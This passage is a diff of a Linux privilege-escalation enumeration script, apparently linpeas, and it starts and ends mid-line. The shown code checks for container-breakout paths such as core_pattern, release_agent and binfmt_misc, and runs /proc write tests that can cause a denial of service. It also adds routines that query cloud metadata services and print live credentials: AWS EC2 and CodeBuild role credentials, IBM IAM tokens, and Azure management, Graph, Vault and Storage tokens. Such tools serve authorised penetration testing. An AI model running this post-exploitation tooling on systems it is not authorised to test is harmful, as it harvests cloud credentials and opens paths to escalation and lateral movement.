(echo -n '' > /proc/sys/kernel/core_pattern && echo Yes) 2>/dev/null || echo No)" - modprobe_present="$(ls -l `cat /proc/sys/kernel/modprobe` || echo No)" + modprobe_present="$(ls -l `cat /proc/sys/kernel/modprobe` 2>/dev/null || echo No)" panic_on_oom_dos="$( (echo -n '' > /proc/sys/vm/panic_on_oom && echo Yes) 2>/dev/null || echo No)" panic_sys_fs_dos="$( (echo -n '' > /proc/sys/fs/suid_dumpable && echo Yes) 2>/dev/null || echo No)" binfmt_misc_breakout="$( (echo -n '' > /proc/sys/fs/binfmt_misc/register && echo Yes) 2>/dev/null || echo No)" @@ -1759,7 +1799,7 @@ checkProcSysBreakouts(){ ############################################## containerCheck -print_2title "Container related tools present" +print_2title "Container related tools present (if any):" command -v docker command -v lxc command -v rkt @@ -1767,8 +1807,10 @@ command -v kubectl command -v podman command -v runc -print_2title "Am I Containered?" -execBin "AmIContainered" "https://github.com/genuinetools/amicontained" "$FAT_LINPEAS_AMICONTAINED" +if [ "$$FAT_LINPEAS_AMICONTAINED" ]; then + print_2title "Am I Containered?" + execBin "AmIContainered" "https://github.com/genuinetools/amicontained" "$FAT_LINPEAS_AMICONTAINED" +fi print_2title "Container details" print_list "Is this a container? ...........$NC $containerType" @@ -1796,12 +1838,12 @@ else if [ "$rktcontainers" -ne "0" ]; then echo "Running RKT Containers" | sed -${E} "s,.*,${SED_RED},"; rkt list 2>/dev/null; echo ""; fi fi -#If docker +# If docker if echo "$containerType" | grep -qi "docker"; then print_2title "Docker Container details" inDockerGroup print_list "Am I inside Docker group .......$NC $DOCKER_GROUP\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," - print_list "Looking and enumerating Docker Sockets\n"$NC + print_list "Looking and enumerating Docker Sockets (if any):\n"$NC enumerateDockerSockets print_list "Docker version .................$NC$dockerVersion" checkDockerVersionExploits @@ -1809,7 +1851,7 @@ if echo "$containerType" | grep -qi "docker"; then print_list "Vulnerable to CVE-2019-13139 ...$NC$VULN_CVE_2019_13139"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW}," if [ "$inContainer" ]; then checkDockerRootless - print_list "Rootless Docker? ................ $DOCKER_ROOTLESS\n"$NC | sed -${E} "s,No,${SED_RED}," | sed -${E} "s,Yes,${SED_GREEN}," + print_list "Rootless Docker? ............... $DOCKER_ROOTLESS\n"$NC | sed -${E} "s,No,${SED_RED}," | sed -${E} "s,Yes,${SED_GREEN}," echo "" fi if df -h | grep docker; then @@ -1818,10 +1860,10 @@ if echo "$containerType" | grep -qi "docker"; then fi fi -#If token secrets mounted +# If token secrets mounted if [ "$(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p')" ]; then print_2title "Listing mounted tokens" - print_info "https://book.hacktricks.xyz/cloud-security/pentesting-kubernetes/attacking-kubernetes-from-inside-a-pod" + print_info "https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod" ALREADY="IinItialVaaluE" for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/')) @@ -1841,8 +1883,8 @@ if [ "$inContainer" ]; then echo "" print_2title "Container & breakout enumeration" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout" - print_list "Container ID ...................$NC $(cat /etc/hostname && echo '')" - if echo "$containerType" | grep -qi "docker"; then + print_list "Container ID ...................$NC $(cat /etc/hostname && echo -n '\n')" + if [ -f "/proc/1/cpuset" ] && echo "$containerType" | grep -qi "docker"; then print_list "Container Full ID ..............$NC $(basename $(cat /proc/1/cpuset))\n" fi print_list "Seccomp enabled? ............... "$NC @@ -1852,7 +1894,7 @@ if [ "$inContainer" ]; then (cat /proc/self/attr/current 2>/dev/null || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,kernel,${SED_GREEN}," print_list "User proc namespace? ........... "$NC - if [ "$(cat /proc/self/uid_map 2>/dev/null)" ]; then echo "enabled" | sed "s,enabled,${SED_GREEN},"; else echo "disabled" | sed "s,disabled,${SED_RED},"; fi + if [ "$(cat /proc/self/uid_map 2>/dev/null)" ]; then (printf "enabled"; cat /proc/self/uid_map) | sed "s,enabled,${SED_GREEN},"; else echo "disabled" | sed "s,disabled,${SED_RED},"; fi checkContainerExploits print_list "Vulnerable to CVE-2019-5021 .... $VULN_CVE_2019_5021\n"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW}," @@ -1861,33 +1903,35 @@ if [ "$inContainer" ]; then print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/sensitive-mounts" checkProcSysBreakouts - print_list "release_agent breakout 1........ $release_agent_breakout1\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," + print_list "/proc mounted? ................. $proc_mounted\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," + print_list "/dev mounted? .................. $dev_mounted\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," + print_list "Run ushare ..................... $run_unshare\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "release_agent breakout 1........ $release_agent_breakout1\n" | sed -${E} "s,Yes,${SED_RED}," print_list "release_agent breakout 2........ $release_agent_breakout2\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," print_list "core_pattern breakout .......... $core_pattern_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," print_list "binfmt_misc breakout ........... $binfmt_misc_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," print_list "uevent_helper breakout ......... $uevent_helper_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," - print_list "core_pattern breakout .......... $core_pattern_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," print_list "is modprobe present ............ $modprobe_present\n" | sed -${E} "s,/.*,${SED_RED}," - print_list "DoS via panic_on_oom ........... $panic_on_oom_dos\n" | sed -${E} "s,/Yes,${SED_RED}," - print_list "DoS via panic_sys_fs ........... $panic_sys_fs_dos\n" | sed -${E} "s,/Yes,${SED_RED}," - print_list "DoS via sysreq_trigger_dos ..... $sysreq_trigger_dos\n" | sed -${E} "s,/Yes,${SED_RED}," - print_list "/proc/config.gz readable ....... $proc_configgz_readable\n" | sed -${E} "s,/Yes,${SED_RED}," - print_list "/proc/sched_debug readable ..... $sched_debug_readable\n" | sed -${E} "s,/Yes,${SED_RED}," - print_list "/proc/*/mountinfo readable ..... $mountinfo_readable\n" | sed -${E} "s,/Yes,${SED_RED}," - print_list "/sys/kernel/security present ... $security_present\n" | sed -${E} "s,/Yes,${SED_RED}," - print_list "/sys/kernel/security writable .. $security_writable\n" | sed -${E} "s,/Yes,${SED_RED}," + print_list "DoS via panic_on_oom ........... $panic_on_oom_dos\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "DoS via panic_sys_fs ........... $panic_sys_fs_dos\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "DoS via sysreq_trigger_dos ..... $sysreq_trigger_dos\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "/proc/config.gz readable ....... $proc_configgz_readable\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "/proc/sched_debug readable ..... $sched_debug_readable\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "/proc/*/mountinfo readable ..... $mountinfo_readable\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "/sys/kernel/security present ... $security_present\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "/sys/kernel/security writable .. $security_writable\n" | sed -${E} "s,Yes,${SED_RED}," if [ "$EXTRA_CHECKS" ]; then - print_list "/proc/kmsg readable ............ $kmsg_readable\n" | sed -${E} "s,/Yes,${SED_RED}," - print_list "/proc/kallsyms readable ........ $kallsyms_readable\n" | sed -${E} "s,/Yes,${SED_RED}," - print_list "/proc/self/mem readable ........ $sched_debug_readable\n" | sed -${E} "s,/Yes,${SED_RED}," - print_list "/proc/kcore readable ........... $kcore_readable\n" | sed -${E} "s,/Yes,${SED_RED}," - print_list "/proc/kmem readable ............ $kmem_readable\n" | sed -${E} "s,/Yes,${SED_RED}," - print_list "/proc/kmem writable ............ $kmem_writable\n" | sed -${E} "s,/Yes,${SED_RED}," - print_list "/proc/mem readable ............. $mem_readable\n" | sed -${E} "s,/Yes,${SED_RED}," - print_list "/proc/mem writable ............. $mem_writable\n" | sed -${E} "s,/Yes,${SED_RED}," - print_list "/sys/kernel/vmcoreinfo readable $vmcoreinfo_readable\n" | sed -${E} "s,/Yes,${SED_RED}," - print_list "/sys/firmware/efi/vars writable $efi_vars_writable\n" | sed -${E} "s,/Yes,${SED_RED}," - print_list "/sys/firmware/efi/efivars writable $efi_efivars_writable\n" | sed -${E} "s,/Yes,${SED_RED}," + print_list "/proc/kmsg readable ............ $kmsg_readable\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "/proc/kallsyms readable ........ $kallsyms_readable\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "/proc/self/mem readable ........ $sched_debug_readable\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "/proc/kcore readable ........... $kcore_readable\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "/proc/kmem readable ............ $kmem_readable\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "/proc/kmem writable ............ $kmem_writable\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "/proc/mem readable ............. $mem_readable\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "/proc/mem writable ............. $mem_writable\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "/sys/kernel/vmcoreinfo readable $vmcoreinfo_readable\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "/sys/firmware/efi/vars writable $efi_vars_writable\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "/sys/firmware/efi/efivars writable $efi_efivars_writable\n" | sed -${E} "s,Yes,${SED_RED}," fi echo "" @@ -1901,7 +1945,7 @@ if [ "$inContainer" ]; then echo "" print_2title "Kubernetes Information" - print_info "https://book.hacktricks.xyz/cloud-security/pentesting-kubernetes/attacking-kubernetes-from-inside-a-pod" + print_info "https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod" print_3title "Kubernetes service account folder" @@ -1913,7 +1957,7 @@ if [ "$inContainer" ]; then echo "" print_3title "Current sa user k8s permissions" - print_info "https://book.hacktricks.xyz/cloud-security/pentesting-kubernetes/hardening-roles-clusterroles" + print_info "https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes" kubectl auth can-i --list 2>/dev/null || curl -s -k -d "$(echo \"eyJraW5kIjoiU2VsZlN1YmplY3RSdWxlc1JldmlldyIsImFwaVZlcnNpb24iOiJhdXRob3JpemF0aW9uLms4cy5pby92MSIsIm1ldGFkYXRhIjp7ImNyZWF0aW9uVGltZXN0YW1wIjpudWxsfSwic3BlYyI6eyJuYW1lc3BhY2UiOiJlZXZlZSJ9LCJzdGF0dXMiOnsicmVzb3VyY2VSdWxlcyI6bnVsbCwibm9uUmVzb3VyY2VSdWxlcyI6bnVsbCwiaW5jb21wbGV0ZSI6ZmFsc2V9fQo=\"|base64 -d)" \ "https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \ -X 'POST' -H 'Content-Type: application/json' \ @@ -1927,7 +1971,9 @@ if [ "$inContainer" ]; then if [ "$(command -v capsh)" ]; then capsh --print 2>/dev/null | sed -${E} "s,$containercapsB,${SED_RED},g" else - cat /proc/self/status | grep Cap | sed -${E} "s, .*,${SED_RED},g" | sed -${E} "s,0000000000000000|00000000a80425fb,${SED_GREEN},g" + defautl_docker_caps="00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap" + cat /proc/self/status | tr '\t' ' ' | grep Cap | sed -${E} "s, .*,${SED_RED},g" | sed -${E} "s/00000000a80425fb/$defautl_docker_caps/g" | sed -${E} "s,0000000000000000|00000000a80425fb,${SED_GREEN},g" + echo $ITALIC"Run capsh --decode= to decode the capabilities"$NC fi echo "" @@ -1968,7 +2014,10 @@ GCP_BAD_SCOPES="/cloud-platform|/compute" exec_with_jq(){ if [ "$(command -v jq)" ]; then - $@ | jq; + $@ | jq 2>/dev/null; + if ! [ $? -eq 0 ]; then + $@; + fi else $@; fi @@ -1981,6 +2030,24 @@ check_gcp(){ fi } +check_do(){ + is_do="No" + if [ -f "/etc/cloud/cloud.cfg.d/90-digitalocean.cfg" ]; then + is_do="Yes" + fi +} + +check_ibm_vm(){ + is_ibm_vm="No" + if grep -q "nameserver 161.26.0.10" "/etc/resolv.conf" && grep -q "nameserver 161.26.0.11" "/etc/resolv.conf"; then + curl --connect-timeout 2 "http://169.254.169.254" > /dev/null 2>&1 || wget --timeout 2 --tries 1 "http://169.254.169.254" > /dev/null 2>&1 + if [ "$?" -eq 0 ]; then + IBM_TOKEN=$( ( curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01" -H "Metadata-Flavor: ibm" -H "Accept: application/json" 2> /dev/null | cut -d '"' -f4 ) || ( wget --tries 1 -O - --method PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01" --header "Metadata-Flavor: ibm" --header "Accept: application/json" 2>/dev/null | cut -d '"' -f4 ) ) + is_ibm_vm="Yes" + fi + fi +} + check_aws_ecs(){ is_aws_ecs="No" if (env | grep -q ECS_CONTAINER_METADATA_URI_v4); then @@ -1995,11 +2062,6 @@ check_aws_ecs(){ elif (env | grep -q AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); then is_aws_ecs="Yes"; - - - elif (curl --connect-timeout 2 "http://169.254.170.2/v2/credentials/" >/dev/null 2>&1 && [ "$?" -eq "0" ]) || (wget --timeout 2 --tries 1 "http://169.254.170.2/v2/credentials/" >/dev/null 2>&1 && [ "$?" -eq "0" ]); then - is_aws_ecs="Yes"; - fi if [ "$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" ]; then @@ -2009,6 +2071,7 @@ check_aws_ecs(){ check_aws_ec2(){ is_aws_ec2="No" + is_aws_ec2_beanstalk="No" if [ -d "/var/log/amazon/" ]; then is_aws_ec2="Yes" @@ -2020,6 +2083,10 @@ check_aws_ec2(){ is_aws_ec2="Yes" fi fi + + if [ "$is_aws_ec2" = "Yes" ] && grep -iq "Beanstalk" "/etc/motd"; then + is_aws_ec2_beanstalk="Yes" + fi } check_aws_lambda(){ @@ -2030,6 +2097,33 @@ check_aws_lambda(){ fi } +check_aws_codebuild(){ + is_aws_codebuild="No" + + if [ -f "/codebuild/output/tmp/env.sh" ] && grep -q "AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" "/codebuild/output/tmp/env.sh" ; then + is_aws_codebuild="Yes" + fi +} + +check_az_vm(){ + is_az_vm="No" + + if [ -d "/var/log/azure/" ]; then + is_az_vm="Yes" + + elif cat /etc/resolv.conf 2>/dev/null | grep -q "search reddog.microsoft.com"; then + is_az_vm="Yes" + fi +} + +check_az_app(){ + is_az_app="No" + + if [ -d "/opt/microsoft" ] && env | grep -q "IDENTITY_ENDPOINT"; then + is_az_app="Yes" + fi +} + check_gcp print_list "Google Cloud Platform? ............... $is_gcp\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," @@ -2037,8 +2131,19 @@ check_aws_ecs print_list "AWS ECS? ............................. $is_aws_ecs\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," check_aws_ec2 print_list "AWS EC2? ............................. $is_aws_ec2\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +print_list "AWS EC2 Beanstalk? ................... $is_aws_ec2_beanstalk\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," check_aws_lambda print_list "AWS Lambda? .......................... $is_aws_lambda\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +check_aws_codebuild +print_list "AWS Codebuild? ....................... $is_aws_codebuild\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +check_do +print_list "DO Droplet? .......................... $is_do\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +check_ibm_vm +print_list "IBM Cloud VM? ........................ $is_ibm_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +check_az_vm +print_list "Azure VM? ............................ $is_az_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +check_az_app +print_list "Azure APP? ........................... $is_az_app\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," echo "" @@ -2052,10 +2157,10 @@ if [ "$is_gcp" = "Yes" ]; then echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" fi - + # GCP Enumeration if [ "$gcp_req" ]; then - print_2title "Google CLoud Platform Enumeration" - print_info "https://book.hacktricks.xyz/cloud-security/gcp-security" + print_2title "Google Cloud Platform Enumeration" + print_info "https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security" ## GC Project Info p_id=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/project-id') @@ -2118,6 +2223,11 @@ if [ "$is_gcp" = "Yes" ]; then echo " Network: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/network") echo " ============== " done + + echo "" + print_3title "User Data" + echo $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/startup-script") + echo "" echo "" print_3title "Service Accounts" @@ -2133,7 +2243,7 @@ if [ "$is_gcp" = "Yes" ]; then fi fi - +# AWS ECS Enumeration if [ "$is_aws_ecs" = "Yes" ]; then print_2title "AWS ECS Enumeration" @@ -2167,6 +2277,7 @@ if [ "$is_aws_ecs" = "Yes" ]; then fi fi +# AWS EC2 Enumeration if [ "$is_aws_ec2" = "Yes" ]; then print_2title "AWS EC2 Enumeration" @@ -2220,10 +2331,18 @@ if [ "$is_aws_ec2" = "Yes" ]; then echo "" print_3title "User Data" - eval $aws_req "http://169.254.169.254/latest/user-data" + eval $aws_req "http://169.254.169.254/latest/user-data"; echo "" + + echo "" + echo "EC2 Security Credentials" + exec_with_jq eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo "" + + print_3title "SSM Runnig" + ps aux 2>/dev/null | grep "ssm-agent" | grep -v "grep" | sed "s,ssm-agent,${SED_RED}," fi fi +# AWS Lambda Enumeration if [ "$is_aws_lambda" = "Yes" ]; then print_2title "AWS Lambda Enumeration" printf "Function name: "; env | grep AWS_LAMBDA_FUNCTION_NAME @@ -2236,6 +2355,166 @@ if [ "$is_aws_lambda" = "Yes" ]; then printf "Event data: "; (curl -s "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next" 2>/dev/null || wget -q -O - "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next") fi +# AWS Codebuild Enumeration +if [ "$is_aws_codebuild" = "Yes" ]; then + print_2title "AWS Codebuild Enumeration" + + aws_req="" + if [ "$(command -v curl)" ]; then + aws_req="curl -s -f" + elif [ "$(command -v wget)" ]; then + aws_req="wget -q -O -" + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + echo "The addresses are in /codebuild/output/tmp/env.sh" + fi + + if [ "$aws_req" ]; then + print_3title "Credentials" + CREDS_PATH=$(cat /codebuild/output/tmp/env.sh | grep "AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" | cut -d "'" -f 2) + URL_CREDS="http://169.254.170.2$CREDS_PATH" # Already has a / at the begginig + exec_with_jq eval $aws_req "$URL_CREDS"; echo "" + + print_3title "Container Info" + METADATA_URL=$(cat /codebuild/output/tmp/env.sh | grep "ECS_CONTAINER_METADATA_URI" | cut -d "'" -f 2) + exec_with_jq eval $aws_req "$METADATA_URL"; echo "" + fi +fi + +# DO Droplet Enumeration +if [ "$is_do" = "Yes" ]; then + print_2title "DO Droplet Enumeration" + + do_req="" + if [ "$(command -v curl)" ]; then + do_req='curl -s -f ' + elif [ "$(command -v wget)" ]; then + do_req='wget -q -O - ' + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + fi + + if [ "$do_req" ]; then + URL="http://169.254.169.254/metadata" + printf "Id: "; eval $do_req "$URL/v1/id"; echo "" + printf "Region: "; eval $do_req "$URL/v1/region"; echo "" + printf "Public keys: "; eval $do_req "$URL/v1/public-keys"; echo "" + printf "User data: "; eval $do_req "$URL/v1/user-data"; echo "" + printf "Dns: "; eval $do_req "$URL/v1/dns/nameservers" | tr '\n' ','; echo "" + printf "Interfaces: "; eval $do_req "$URL/v1.json" | jq ".interfaces"; + printf "Floating_ip: "; eval $do_req "$URL/v1.json" | jq ".floating_ip"; + printf "Reserved_ip: "; eval $do_req "$URL/v1.json" | jq ".reserved_ip"; + printf "Tags: "; eval $do_req "$URL/v1.json" | jq ".tags"; + printf "Features: "; eval $do_req "$URL/v1.json" | jq ".features"; + fi +fi + +# IBM Cloud Enumeration +if [ "$is_ibm_vm" = "Yes" ]; then + print_2title "IBM Cloud Enumeration" + + if ! [ "$IBM_TOKEN" ]; then + echo "Couldn't get the metadata token:(" + + else + TOKEN_HEADER="Authorization: Bearer $IBM_TOKEN" + ACCEPT_HEADER="Accept: application/json" + URL="http://169.254.169.254/latest/meta-data" + + ibm_req="" + if [ "$(command -v curl)" ]; then + ibm_req="curl -s -f -H '$TOKEN_HEADER' -H '$ACCEPT_HEADER'" + elif [ "$(command -v wget)" ]; then + ibm_req="wget -q -O - -H '$TOKEN_HEADER' -H '$ACCEPT_HEADER'" + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + fi + + if [ "$ibm_req" ]; then + print_3title "Instance Details" + exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" + + print_3title "Keys and User data" + exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" + exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" + + print_3title "Placement Groups" + exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" + + print_3title "IAM credentials" + exec_with_jq eval $ibm_req -X POST "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" + fi + fi + +fi + +# Azure VM Enumeration +if [ "$is_az_vm" = "Yes" ]; then + print_2title "Azure VM Enumeration" + + HEADER="Metadata:true" + URL="http://169.254.169.254/metadata" + API_VERSION="2021-12-13" # https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions + + az_req="" + if [ "$(command -v curl)" ]; then + az_req="curl -s -f -H '$HEADER'" + elif [ "$(command -v wget)" ]; then + az_req="wget -q -O - -H '$HEADER'" + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + fi + + if [ "$az_req" ]; then + print_3title "Instance details" + exec_with_jq eval $az_req "$URL/instance?api-version=$API_VERSION" + + print_3title "Load Balancer details" + exec_with_jq eval $az_req "$URL/loadbalancer?api-version=$API_VERSION" + + print_3title "Management token" + exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://management.azure.com/" + + print_3title "Graph token" + exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://graph.microsoft.com/" + + print_3title "Vault token" + exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://vault.azure.net/" + + print_3title "Storage token" + exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://storage.azure.com/" + fi +fi + +if [ "$check_az_app" = "Yes" ]; then + print_2title "Azure App Service Enumeration" + echo "I haven't tested this one, if it doesn't work, please send a PR fixing and adding functionality :)" + + HEADER="secret:$IDENTITY_HEADER" + + az_req="" + if [ "$(command -v curl)" ]; then + az_req="curl -s -f -H '$HEADER'" + elif [ "$(command -v wget)" ]; then + az_req="wget -q -O - -H '$HEADER'" + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + fi + + if [ "$az_req" ]; then + print_3title "Management token" + exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://management.azure.com/" + + print_3title "Graph token" + exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://graph.microsoft.com/" + + print_3title "Vault token" + exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://vault.azure.net/" + + print_3title "Storage token" + exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://storage.azure.com/" + fi +fi fi echo '' @@ -2252,13 +2531,18 @@ print_title "Processes, Crons, Timers, Services and Sockets" if ! [ "$SEARCH_IN_FOLDER" ]; then #-- PCS) Cleaned proccesses print_2title "Cleaned processes" + if [ "$NOUSEPS" ]; then printf ${BLUE}"[i]$GREEN Looks like ps is not finding processes, going to read from /proc/ and not going to monitor 1min of processes\n"$NC fi print_info "Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes" + if [ -f "/etc/fstab" ] && cat /etc/fstab | grep -q "hidepid=2"; then + echo "Looks like /etc/fstab has hidepid=2, so ps will not show processes of other users" + fi + if [ "$NOUSEPS" ]; then - print_ps | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED}," + print_ps | grep -v 'sed-Es' | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED}," pslist=$(print_ps) else (ps fauxwww || ps auxwww | sort ) 2>/dev/null | grep -v "\[" | grep -v "%CPU" | while read psline; do @@ -2288,6 +2572,33 @@ if ! [ "$SEARCH_IN_FOLDER" ]; then echo "" fi +CURRENT_USER_PIVOT_PID="" +if ! [ "$SEARCH_IN_FOLDER" ] && ! [ "$NOUSEPS" ]; then + #-- PCS) Process opened by other users + print_2title "Processes whose PPID belongs to a different user (not root)" + print_info "You will know if a user can somehow spawn processes as a different user" + + # Function to get user by PID + get_user_by_pid() { + ps -p "$1" -o user | grep -v "USER" + } + + # Find processes with PPID and user info, then filter those where PPID's user is different from the process's user + ps -eo pid,ppid,user | grep -v "PPID" | while read -r pid ppid user; do + if [ "$ppid" = "0" ]; then + continue + fi + ppid_user=$(get_user_by_pid "$ppid") + if echo "$user" | grep -Eqv "$ppid_user|root$"; then + echo "Proc $pid with ppid $ppid is run by user $user but the ppid user is $ppid_user" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED}," + if [ "$ppid_user" = "$USER" ]; then + CURRENT_USER_PIVOT_PID="$ppid" + fi + fi + done + echo "" +fi + if ! [ "$SEARCH_IN_FOLDER" ]; then #-- PCS) Files opened by processes belonging to other users if ! [ "$IAMROOT" ]; then @@ -2317,7 +2628,13 @@ if ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "Different processes executed during 1 min (interesting is low number of repetitions)" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#frequent-cron-jobs" temp_file=$(mktemp) - if [ "$(ps -e -o command 2>/dev/null)" ]; then for i in $(seq 1 1250); do ps -e -o command >> "$temp_file" 2>/dev/null; sleep 0.05; done; sort "$temp_file" 2>/dev/null | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort -r -n | grep -E -v "\s*[1-9][0-9][0-9][0-9]"; rm "$temp_file"; fi + if [ "$(ps -e -o user,command 2>/dev/null)" ]; then + for i in $(seq 1 1210); do + ps -e -o user,command >> "$temp_file" 2>/dev/null; sleep 0.05; + done; + sort "$temp_file" 2>/dev/null | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort -r -n | grep -E -v "\s*[1-9][0-9][0-9][0-9]" | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"; + rm "$temp_file"; + fi echo "" fi fi @@ -2355,7 +2672,7 @@ if ! [ "$SEARCH_IN_FOLDER" ]; then program="" program=$(defaults read "$f" Program 2>/dev/null) if ! [ "$program" ]; then - program=$(defaults read /Library/LaunchDaemons/MonitorHelper.plist ProgramArguments | grep -Ev "^\(|^\)" | cut -d '"' -f 2) + program=$(defaults read "$f" ProgramArguments | grep -Ev "^\(|^\)" | cut -d 